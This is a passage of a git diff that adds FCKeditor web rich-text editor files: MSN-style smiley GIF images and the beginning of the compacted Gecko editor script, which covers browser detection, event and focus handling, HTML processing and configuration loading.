diff --git a/fckeditor/editor/images/smiley/msn/angel_smile.gif b/fckeditor/editor/images/smiley/msn/angel_smile.gif
new file mode 100755 (executable)
index 0000000..a95e053
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/angel_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/angry_smile.gif b/fckeditor/editor/images/smiley/msn/angry_smile.gif
new file mode 100755 (executable)
index 0000000..c667c5d
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/angry_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/broken_heart.gif b/fckeditor/editor/images/smiley/msn/broken_heart.gif
new file mode 100755 (executable)
index 0000000..938cce1
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/broken_heart.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/cake.gif b/fckeditor/editor/images/smiley/msn/cake.gif
new file mode 100755 (executable)
index 0000000..f6489d7
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/cake.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/confused_smile.gif b/fckeditor/editor/images/smiley/msn/confused_smile.gif
new file mode 100755 (executable)
index 0000000..aeb0539
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/confused_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/cry_smile.gif b/fckeditor/editor/images/smiley/msn/cry_smile.gif
new file mode 100755 (executable)
index 0000000..0758f42
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/cry_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/devil_smile.gif b/fckeditor/editor/images/smiley/msn/devil_smile.gif
new file mode 100755 (executable)
index 0000000..15518d7
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/devil_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/embaressed_smile.gif b/fckeditor/editor/images/smiley/msn/embaressed_smile.gif
new file mode 100755 (executable)
index 0000000..c431946
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/embaressed_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/envelope.gif b/fckeditor/editor/images/smiley/msn/envelope.gif
new file mode 100755 (executable)
index 0000000..66d3656
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/envelope.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/heart.gif b/fckeditor/editor/images/smiley/msn/heart.gif
new file mode 100755 (executable)
index 0000000..305714f
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/heart.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/kiss.gif b/fckeditor/editor/images/smiley/msn/kiss.gif
new file mode 100755 (executable)
index 0000000..f840ea6
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/kiss.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/lightbulb.gif b/fckeditor/editor/images/smiley/msn/lightbulb.gif
new file mode 100755 (executable)
index 0000000..863be6e
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/lightbulb.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/omg_smile.gif b/fckeditor/editor/images/smiley/msn/omg_smile.gif
new file mode 100755 (executable)
index 0000000..aabc7fd
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/omg_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/regular_smile.gif b/fckeditor/editor/images/smiley/msn/regular_smile.gif
new file mode 100755 (executable)
index 0000000..33f297e
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/regular_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/sad_smile.gif b/fckeditor/editor/images/smiley/msn/sad_smile.gif
new file mode 100755 (executable)
index 0000000..dfb78ef
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/sad_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/shades_smile.gif b/fckeditor/editor/images/smiley/msn/shades_smile.gif
new file mode 100755 (executable)
index 0000000..157df77
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/shades_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/teeth_smile.gif b/fckeditor/editor/images/smiley/msn/teeth_smile.gif
new file mode 100755 (executable)
index 0000000..26b5a55
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/teeth_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/thumbs_down.gif b/fckeditor/editor/images/smiley/msn/thumbs_down.gif
new file mode 100755 (executable)
index 0000000..f53ee72
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/thumbs_down.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/thumbs_up.gif b/fckeditor/editor/images/smiley/msn/thumbs_up.gif
new file mode 100755 (executable)
index 0000000..7e8c746
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/thumbs_up.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/tounge_smile.gif b/fckeditor/editor/images/smiley/msn/tounge_smile.gif
new file mode 100755 (executable)
index 0000000..b87ec44
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/tounge_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif b/fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif
new file mode 100755 (executable)
index 0000000..c074122
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/wink_smile.gif b/fckeditor/editor/images/smiley/msn/wink_smile.gif
new file mode 100755 (executable)
index 0000000..eefe61d
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/wink_smile.gif differ
diff --git a/fckeditor/editor/images/spacer.gif b/fckeditor/editor/images/spacer.gif
new file mode 100755 (executable)
index 0000000..5bfd67a
Binary files /dev/null and b/fckeditor/editor/images/spacer.gif differ
diff --git a/fckeditor/editor/js/fckeditorcode_gecko.js b/fckeditor/editor/js/fckeditorcode_gecko.js
new file mode 100755 (executable)
index 0000000..8b5e8fe
--- /dev/null
@@ -0,0 +1,96 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ *
+ * This file has been compacted for better loading performance.
+ */
+var FCK_STATUS_NOTLOADED=window.parent.FCK_STATUS_NOTLOADED=0;var FCK_STATUS_ACTIVE=window.parent.FCK_STATUS_ACTIVE=1;var FCK_STATUS_COMPLETE=window.parent.FCK_STATUS_COMPLETE=2;var FCK_TRISTATE_OFF=window.parent.FCK_TRISTATE_OFF=0;var FCK_TRISTATE_ON=window.parent.FCK_TRISTATE_ON=1;var FCK_TRISTATE_DISABLED=window.parent.FCK_TRISTATE_DISABLED=-1;var FCK_UNKNOWN=window.parent.FCK_UNKNOWN=-9;var FCK_TOOLBARITEM_ONLYICON=window.parent.FCK_TOOLBARITEM_ONLYICON=0;var FCK_TOOLBARITEM_ONLYTEXT=window.parent.FCK_TOOLBARITEM_ONLYTEXT=1;var FCK_TOOLBARITEM_ICONTEXT=window.parent.FCK_TOOLBARITEM_ICONTEXT=2;var FCK_EDITMODE_WYSIWYG=window.parent.FCK_EDITMODE_WYSIWYG=0;var FCK_EDITMODE_SOURCE=window.parent.FCK_EDITMODE_SOURCE=1;var FCK_IMAGES_PATH='images/';var FCK_SPACER_PATH='images/spacer.gif';var CTRL=1000;var SHIFT=2000;var ALT=4000;
+String.prototype.Contains=function(A){return (this.indexOf(A)>-1);};String.prototype.Equals=function(){var A=arguments;if (A.length==1&&A[0].pop) A=A[0];for (var i=0;i<A.length;i++){if (this==A[i]) return true;};return false;};String.prototype.IEquals=function(){var A=this.toUpperCase();var B=arguments;if (B.length==1&&B[0].pop) B=B[0];for (var i=0;i<B.length;i++){if (A==B[i].toUpperCase()) return true;};return false;};String.prototype.ReplaceAll=function(A,B){var C=this;for (var i=0;i<A.length;i++){C=C.replace(A[i],B[i]);};return C;};Array.prototype.AddItem=function(A){var i=this.length;this[i]=A;return i;};Array.prototype.IndexOf=function(A){for (var i=0;i<this.length;i++){if (this[i]==A) return i;};return-1;};String.prototype.StartsWith=function(A){return (this.substr(0,A.length)==A);};String.prototype.EndsWith=function(A,B){var C=this.length;var D=A.length;if (D>C) return false;if (B){var E=new RegExp(A+'$','i');return E.test(this);}else return (D==0||this.substr(C-D,D)==A);};String.prototype.Remove=function(A,B){var s='';if (A>0) s=this.substring(0,A);if (A+B<this.length) s+=this.substring(A+B,this.length);return s;};String.prototype.Trim=function(){return this.replace(/(^[ \t\n\r]*)|([ \t\n\r]*$)/g,'');};String.prototype.LTrim=function(){return this.replace(/^[ \t\n\r]*/g,'');};String.prototype.RTrim=function(){return this.replace(/[ \t\n\r]*$/g,'');};String.prototype.ReplaceNewLineChars=function(A){return this.replace(/\n/g,A);}
+var s=navigator.userAgent.toLowerCase();var FCKBrowserInfo={IsIE:s.Contains('msie'),IsIE7:s.Contains('msie 7'),IsGecko:s.Contains('gecko/'),IsSafari:s.Contains('safari'),IsOpera:s.Contains('opera'),IsMac:s.Contains('macintosh')};(function(A){A.IsGeckoLike=(A.IsGecko||A.IsSafari||A.IsOpera);if (A.IsGecko){var B=s.match(/gecko\/(\d+)/)[1];A.IsGecko10=B<20051111;}else A.IsGecko10=false;})(FCKBrowserInfo);
+var FCKURLParams={};(function(){var A=document.location.search.substr(1).split('&');for (var i=0;i<A.length;i++){var B=A[i].split('=');var C=decodeURIComponent(B[0]);var D=decodeURIComponent(B[1]);FCKURLParams[C]=D;}})();
+var FCKEvents=function(A){this.Owner=A;this._RegisteredEvents={};};FCKEvents.prototype.AttachEvent=function(A,B){var C;if (!(C=this._RegisteredEvents[A])) this._RegisteredEvents[A]=[B];else C.push(B);};FCKEvents.prototype.FireEvent=function(A,B){var C=true;var D=this._RegisteredEvents[A];if (D){for (var i=0;i<D.length;i++) C=(D[i](this.Owner,B)&&C);};return C;};
+var FCK={Name:FCKURLParams['InstanceName'],Status:0,EditMode:0,Toolbar:null,HasFocus:false,GetLinkedFieldValue:function(){return this.LinkedField.value;},GetParentForm:function(){return this.LinkedField.form;},StartupValue:'',IsDirty:function(){return (this.StartupValue!=this.EditorDocument.body.innerHTML);},ResetIsDirty:function(){if (this.EditorDocument.body) this.StartupValue=this.EditorDocument.body.innerHTML;},StartEditor:function(){this.TempBaseTag=FCKConfig.BaseHref.length>0?'<base href="'+FCKConfig.BaseHref+'" _fcktemp="true"></base>':'';var A=FCK.KeystrokeHandler=new FCKKeystrokeHandler();A.OnKeystroke=_FCK_KeystrokeHandler_OnKeystroke;A.SetKeystrokes(FCKConfig.Keystrokes);if (FCKBrowserInfo.IsIE7){if ((CTRL+86/*V*/) in A.Keystrokes) A.SetKeystrokes([CTRL+86,true]);if ((SHIFT+45/*INS*/) in A.Keystrokes) A.SetKeystrokes([SHIFT+45,true]);};this.EditingArea=new FCKEditingArea(document.getElementById('xEditingArea'));this.EditingArea.FFSpellChecker=false;this.SetHTML(this.GetLinkedFieldValue());},Focus:function(){FCK.EditingArea.Focus();},SetStatus:function(A){this.Status=A;if (A==1){FCKFocusManager.AddWindow(window,true);if (FCKBrowserInfo.IsIE) FCKFocusManager.AddWindow(window.frameElement,true);if (FCKConfig.StartupFocus) FCK.Focus();};this.Events.FireEvent('OnStatusChange',A);},FixBody:function(){var A=FCKConfig.EnterMode;if (A!='p'&&A!='div') return;var B=this.EditorDocument;if (!B) return;var C=B.body;if (!C) return;FCKDomTools.TrimNode(C);var D=C.firstChild;var E;while (D){var F=false;switch (D.nodeType){case 1:if (!FCKListsLib.BlockElements[D.nodeName.toLowerCase()]) F=true;break;case 3:if (E||D.nodeValue.Trim().length>0) F=true;};if (F){var G=D.parentNode;if (!E) E=G.insertBefore(B.createElement(A),D);E.appendChild(G.removeChild(D));D=E.nextSibling;}else{if (E){FCKDomTools.TrimNode(E);E=null;};D=D.nextSibling;}};if (E) FCKDomTools.TrimNode(E);},GetXHTML:function(A){if (FCK.EditMode==1) return FCK.EditingArea.Textarea.value;this.FixBody();var B;var C=FCK.EditorDocument;if (!C) return null;if (FCKConfig.FullPage) B=FCKXHtml.GetXHTML(C.getElementsByTagName('html')[0],true,A);else{if (FCKConfig.IgnoreEmptyParagraphValue&&C.body.innerHTML=='<P>&nbsp;</P>') B='';else B=FCKXHtml.GetXHTML(C.body,false,A);};B=FCK.ProtectEventsRestore(B);if (FCKBrowserInfo.IsIE) B=B.replace(FCKRegexLib.ToReplace,'$1');if (FCK.DocTypeDeclaration&&FCK.DocTypeDeclaration.length>0) B=FCK.DocTypeDeclaration+'\n'+B;if (FCK.XmlDeclaration&&FCK.XmlDeclaration.length>0) B=FCK.XmlDeclaration+'\n'+B;return FCKConfig.ProtectedSource.Revert(B);},UpdateLinkedField:function(){FCK.LinkedField.value=FCK.GetXHTML(FCKConfig.FormatOutput);FCK.Events.FireEvent('OnAfterLinkedFieldUpdate');},RegisteredDoubleClickHandlers:{},OnDoubleClick:function(A){var B=FCK.RegisteredDoubleClickHandlers[A.tagName];if (B) B(A);},RegisterDoubleClickHandler:function(A,B){FCK.RegisteredDoubleClickHandlers[B.toUpperCase()]=A;},OnAfterSetHTML:function(){FCKDocumentProcessor.Process(FCK.EditorDocument);FCKUndo.SaveUndoStep();FCK.Events.FireEvent('OnSelectionChange');FCK.Events.FireEvent('OnAfterSetHTML');},ProtectUrls:function(A){A=A.replace(FCKRegexLib.ProtectUrlsA,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');A=A.replace(FCKRegexLib.ProtectUrlsImg,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');return A;},ProtectEvents:function(A){return A.replace(FCKRegexLib.TagsWithEvent,_FCK_ProtectEvents_ReplaceTags);},ProtectEventsRestore:function(A){return A.replace(FCKRegexLib.ProtectedEvents,_FCK_ProtectEvents_RestoreEvents);},ProtectTags:function(A){var B='META';if (FCKConfig.ProtectedTags.length>0) B+='|'+FCKConfig.ProtectedTags;if (FCKBrowserInfo.IsIE) B+='|ABBR';var C=new RegExp('<('+B+')([ \>])','gi');A=A.replace(C,'<FCK:$1$2');C=new RegExp('<\/('+B+')>','gi');A=A.replace(C,'<\/FCK:$1>');return A;},SetHTML:function(A){this.EditingArea.Mode=FCK.EditMode;if (FCK.EditMode==0){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectEvents(A);A=FCK.ProtectUrls(A);A=FCK.ProtectTags(A);if (FCKBrowserInfo.IsGecko){A=A.replace(FCKRegexLib.StrongOpener,'<b$1');A=A.replace(FCKRegexLib.StrongCloser,'<\/b>');A=A.replace(FCKRegexLib.EmOpener,'<i$1');A=A.replace(FCKRegexLib.EmCloser,'<\/i>');};var B='';if (FCKConfig.FullPage){if (!FCKRegexLib.HeadOpener.test(A)){if (!FCKRegexLib.HtmlOpener.test(A)) A='<html dir="'+FCKConfig.ContentLangDirection+'">'+A+'</html>';A=A.replace(FCKRegexLib.HtmlOpener,'$&<head></head>');};FCK.DocTypeDeclaration=A.match(FCKRegexLib.DocTypeTag);if (FCKBrowserInfo.IsIE) B=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+='<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B=A.replace(FCKRegexLib.HeadCloser,B+'$&');if (FCK.TempBaseTag.length>0&&!FCKRegexLib.HasBaseTag.test(A)) B=B.replace(FCKRegexLib.HeadOpener,'$&'+FCK.TempBaseTag);}else{B=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"';if (FCKBrowserInfo.IsIE&&!FCKRegexLib.Html4DocType.test(FCKConfig.DocType)) B+=' style="overflow-y: scroll"';B+='><head><title></title>'+_FCK_GetEditorAreaStyleTags()+'<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';if (FCKBrowserInfo.IsIE) B+=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B+='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+=FCK.TempBaseTag;var C='<body';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) C+=' id="'+FCKConfig.BodyId+'"';if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) C+=' class="'+FCKConfig.BodyClass+'"';B+='</head>'+C+'>';if (FCKBrowserInfo.IsGecko&&(A.length==0||FCKRegexLib.EmptyParagraph.test(A))) B+=GECKO_BOGUS;else B+=A;B+='</body></html>';};this.EditingArea.OnLoad=_FCK_EditingArea_OnLoad;this.EditingArea.Start(B);}else{FCK.EditorWindow=null;FCK.EditorDocument=null;this.EditingArea.OnLoad=null;this.EditingArea.Start(A);this.EditingArea.Textarea._FCKShowContextMenu=true;FCK.EnterKeyHandler=null;FCK.KeystrokeHandler.AttachToElement(this.EditingArea.Textarea);this.EditingArea.Textarea.focus();FCK.Events.FireEvent('OnAfterSetHTML');};if (FCKBrowserInfo.IsGecko) window.onresize();},HasFocus:false,RedirectNamedCommands:{},ExecuteNamedCommand:function(A,B,C){FCKUndo.SaveUndoStep();if (!C&&FCK.RedirectNamedCommands[A]!=null) FCK.ExecuteRedirectedNamedCommand(A,B);else{FCK.Focus();FCK.EditorDocument.execCommand(A,false,B);FCK.Events.FireEvent('OnSelectionChange');};FCKUndo.SaveUndoStep();},GetNamedCommandState:function(A){try{if (!FCK.EditorDocument.queryCommandEnabled(A)) return -1;else return FCK.EditorDocument.queryCommandState(A)?1:0;}catch (e){return 0;}},GetNamedCommandValue:function(A){var B='';var C=FCK.GetNamedCommandState(A);if (C==-1) return null;try{B=this.EditorDocument.queryCommandValue(A);}catch(e) {};return B?B:'';},PasteFromWord:function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteFromWord,'dialog/fck_paste.html',400,330,'Word');},Preview:function(){var A=FCKConfig.ScreenWidth*0.8;var B=FCKConfig.ScreenHeight*0.7;var C=(FCKConfig.ScreenWidth-A)/2;var D=window.open('',null,'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width='+A+',height='+B+',left='+C);var E;if (FCKConfig.FullPage){if (FCK.TempBaseTag.length>0) E=FCK.TempBaseTag+FCK.GetXHTML();else E=FCK.GetXHTML();}else{E=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"><head>'+FCK.TempBaseTag+'<title>'+FCKLang.Preview+'</title>'+_FCK_GetEditorAreaStyleTags()+'</head><body>'+FCK.GetXHTML()+'</body></html>';};D.document.write(E);D.document.close();},SwitchEditMode:function(A){var B=(FCK.EditMode==0);var C;if (B){if (!A&&FCKBrowserInfo.IsIE) FCKUndo.SaveUndoStep();C=FCK.GetXHTML(FCKConfig.FormatSource);if (C==null) return false;}else C=this.EditingArea.Textarea.value;FCK.EditMode=B?1:0;FCK.SetHTML(C);FCK.Focus();FCKTools.RunFunction(FCK.ToolbarSet.RefreshModeState,FCK.ToolbarSet);return true;},CreateElement:function(A){var e=FCK.EditorDocument.createElement(A);return FCK.InsertElementAndGetIt(e);},InsertElementAndGetIt:function(e){e.setAttribute('FCKTempLabel','true');this.InsertElement(e);var A=FCK.EditorDocument.getElementsByTagName(e.tagName);for (var i=0;i<A.length;i++){if (A[i].getAttribute('FCKTempLabel')){A[i].removeAttribute('FCKTempLabel');return A[i];}};return null;}};FCK.Events=new FCKEvents(FCK);FCK.GetHTML=FCK.GetXHTML;function _FCK_ProtectEvents_ReplaceTags(A){return A.replace(FCKRegexLib.EventAttributes,_FCK_ProtectEvents_ReplaceEvents);};function _FCK_ProtectEvents_ReplaceEvents(A,B){return ' '+B+'_fckprotectedatt="'+A.ReplaceAll([/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g],['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'])+'"';};function _FCK_ProtectEvents_RestoreEvents(A,B){return B.ReplaceAll([/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g],["'",'"','=','<','>','\r','\n','&']);};function _FCK_EditingArea_OnLoad(){FCK.EditorWindow=FCK.EditingArea.Window;FCK.EditorDocument=FCK.EditingArea.Document;FCK.InitializeBehaviors();if (!FCKConfig.DisableEnterKeyHandler) FCK.EnterKeyHandler=new FCKEnterKey(FCK.EditorWindow,FCKConfig.EnterMode,FCKConfig.ShiftEnterMode);FCK.KeystrokeHandler.AttachToElement(FCK.EditorDocument);FCK.OnAfterSetHTML();if (FCK.Status!=0) return;FCK.ResetIsDirty();FCK.SetStatus(1);};function _FCK_GetEditorAreaStyleTags(){var A='';var B=FCKConfig.EditorAreaCSS;for (var i=0;i<B.length;i++) A+='<link href="'+B[i]+'" rel="stylesheet" type="text/css" />';return A;};function _FCK_KeystrokeHandler_OnKeystroke(A,B){if (FCK.Status!=2) return false;if (FCK.EditMode==0){if (B=='Paste') return!FCK.Events.FireEvent('OnPaste');}else{if (B.Equals('Paste','Undo','Redo','SelectAll')) return false;};var C=FCK.Commands.GetCommand(B);return (C.Execute.apply(C,FCKTools.ArgumentsToArray(arguments,2))!==false);};(function(){var A=window.parent.document;var B=A.getElementById(FCK.Name);var i=0;while (B||i==0){if (B&&B.tagName.toLowerCase().Equals('input','textarea')){FCK.LinkedField=B;break;};B=A.getElementsByName(FCK.Name)[i++];}})();var FCKTempBin={Elements:[],AddElement:function(A){var B=this.Elements.length;this.Elements[B]=A;return B;},RemoveElement:function(A){var e=this.Elements[A];this.Elements[A]=null;return e;},Reset:function(){var i=0;while (i<this.Elements.length) this.Elements[i++]==null;this.Elements.length=0;}};var FCKFocusManager=FCK.FocusManager={IsLocked:false,AddWindow:function(A,B){var C;if (FCKBrowserInfo.IsIE) C=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else C=A.document;FCKTools.AddEventListener(C,'blur',FCKFocusManager_Win_OnBlur);FCKTools.AddEventListener(C,'focus',B?FCKFocusManager_Win_OnFocus_Area:FCKFocusManager_Win_OnFocus);},RemoveWindow:function(A){if (FCKBrowserInfo.IsIE) oTarget=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else oTarget=A.document;FCKTools.RemoveEventListener(oTarget,'blur',FCKFocusManager_Win_OnBlur);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus_Area);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus);},Lock:function(){this.IsLocked=true;},Unlock:function(){if (this._HasPendingBlur) FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);this.IsLocked=false;},_ResetTimer:function(){this._HasPendingBlur=false;if (this._Timer){window.clearTimeout(this._Timer);delete this._Timer;}}};function FCKFocusManager_Win_OnBlur(){if (typeof(FCK)!='undefined'&&FCK.HasFocus){FCKFocusManager._ResetTimer();FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);}};function FCKFocusManager_FireOnBlur(){if (FCKFocusManager.IsLocked) FCKFocusManager._HasPendingBlur=true;else{FCK.HasFocus=false;FCK.Events.FireEvent("OnBlur");}};function FCKFocusManager_Win_OnFocus_Area(){FCK.Focus();FCKFocusManager_Win_OnFocus();};function FCKFocusManager_Win_OnFocus(){FCKFocusManager._ResetTimer();if (!FCK.HasFocus&&!FCKFocusManager.IsLocked){FCK.HasFocus=true;FCK.Events.FireEvent("OnFocus");}};
+FCK.Description="FCKeditor for Gecko Browsers";FCK.InitializeBehaviors=function(){if (FCKBrowserInfo.IsGecko) Window_OnResize();FCKFocusManager.AddWindow(this.EditorWindow);this.ExecOnSelectionChange=function(){FCK.Events.FireEvent("OnSelectionChange");};this.ExecOnSelectionChangeTimer=function(){if (FCK.LastOnChangeTimer) window.clearTimeout(FCK.LastOnChangeTimer);FCK.LastOnChangeTimer=window.setTimeout(FCK.ExecOnSelectionChange,100);};this.EditorDocument.addEventListener('mouseup',this.ExecOnSelectionChange,false);this.EditorDocument.addEventListener('keyup',this.ExecOnSelectionChangeTimer,false);this._DblClickListener=function(e){FCK.OnDoubleClick(e.target);e.stopPropagation();};this.EditorDocument.addEventListener('dblclick',this._DblClickListener,true);FCK.ContextMenu._InnerContextMenu.SetMouseClickWindow(FCK.EditorWindow);FCK.ContextMenu._InnerContextMenu.AttachToElement(FCK.EditorDocument);};FCK.MakeEditable=function(){this.EditingArea.MakeEditable();};function Document_OnContextMenu(e){if (!e.target._FCKShowContextMenu) e.preventDefault();};document.oncontextmenu=Document_OnContextMenu;FCK._BaseGetNamedCommandState=FCK.GetNamedCommandState;FCK.GetNamedCommandState=function(A){switch (A){case 'Unlink':return FCKSelection.HasAncestorNode('A')?0:-1;default:return FCK._BaseGetNamedCommandState(A);}};FCK.RedirectNamedCommands={Print:true,Paste:true,Cut:true,Copy:true};FCK.ExecuteRedirectedNamedCommand=function(A,B){switch (A){case 'Print':FCK.EditorWindow.print();break;case 'Paste':try                      { if (FCK.Paste()) FCK.ExecuteNamedCommand('Paste',null,true);}catch (e)        { alert(FCKLang.PasteErrorPaste);};break;case 'Cut':try                 { FCK.ExecuteNamedCommand('Cut',null,true);}catch (e)   { alert(FCKLang.PasteErrorCut);};break;case 'Copy':try                  { FCK.ExecuteNamedCommand('Copy',null,true);}catch (e)  { alert(FCKLang.PasteErrorCopy);};break;default:FCK.ExecuteNamedCommand(A,B);}};FCK.AttachToOnSelectionChange=function(A){this.Events.AttachEvent('OnSelectionChange',A);};FCK.Paste=function(){if (FCKConfig.ForcePasteAsPlainText){FCK.PasteAsPlainText();return false;};return true;};FCK.InsertHtml=function(A){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectUrls(A);var B=FCKSelection.Delete();var C=B.getRangeAt(0);var D=C.createContextualFragment(A);var E=D.lastChild;C.insertNode(D);FCKSelection.SelectNode(E);FCKSelection.Collapse(false);this.Focus();};FCK.InsertElement=function(A){var B=FCKSelection.Delete();var C=B.getRangeAt(0);C.insertNode(A);FCKSelection.SelectNode(A);FCKSelection.Collapse(false);this.Focus();};FCK.PasteAsPlainText=function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteAsText,'dialog/fck_paste.html',400,330,'PlainText');};FCK.GetClipboardHTML=function(){return '';};FCK.CreateLink=function(A){FCK.ExecuteNamedCommand('Unlink');if (A.length>0){var B='javascript:void(0);/*'+(new Date().getTime())+'*/';FCK.ExecuteNamedCommand('CreateLink',B);var C=this.EditorDocument.evaluate("//a[@href='"+B+"']",this.EditorDocument.body,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null).singleNodeValue;if (C){C.href=A;return C;}};return null;};
+var FCKConfig=FCK.Config={};if (document.location.protocol=='file:'){FCKConfig.BasePath=decodeURIComponent(document.location.pathname.substr(1));FCKConfig.BasePath=FCKConfig.BasePath.replace(/\\/gi, '/');FCKConfig.BasePath='file://'+FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1);FCKConfig.FullBasePath=FCKConfig.BasePath;}else{FCKConfig.BasePath=document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1);FCKConfig.FullBasePath=document.location.protocol+'//'+document.location.host+FCKConfig.BasePath;};FCKConfig.EditorPath=FCKConfig.BasePath.replace(/editor\/$/,'');try{FCKConfig.ScreenWidth=screen.width;FCKConfig.ScreenHeight=screen.height;}catch (e){FCKConfig.ScreenWidth=800;FCKConfig.ScreenHeight=600;};FCKConfig.ProcessHiddenField=function(){this.PageConfig={};var A=window.parent.document.getElementById(FCK.Name+'___Config');if (!A) return;var B=A.value.split('&');for (var i=0;i<B.length;i++){if (B[i].length==0) continue;var C=B[i].split('=');var D=decodeURIComponent(C[0]);var E=decodeURIComponent(C[1]);if (D=='CustomConfigurationsPath') FCKConfig[D]=E;else if (E.toLowerCase()=="true") this.PageConfig[D]=true;else if (E.toLowerCase()=="false") this.PageConfig[D]=false;else if (E.length>0&&!isNaN(E)) this.PageConfig[D]=parseInt(E,10);else this.PageConfig[D]=E;}};function FCKConfig_LoadPageConfig(){var A=FCKConfig.PageConfig;for (var B in A) FCKConfig[B]=A[B];};function FCKConfig_PreProcess(){var A=FCKConfig;if (A.AllowQueryStringDebug){try{if ((/fckdebug=true/i).test(window.top.location.search)) A.Debug=true;}catch (e) {/*Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error).*/}};if (!A.PluginsPath.EndsWith('/')) A.PluginsPath+='/';if (typeof(A.EditorAreaCSS)=='string') A.EditorAreaCSS=[A.EditorAreaCSS];var B=A.ToolbarComboPreviewCSS;if (!B||B.length==0) A.ToolbarComboPreviewCSS=A.EditorAreaCSS;else if (typeof(B)=='string') 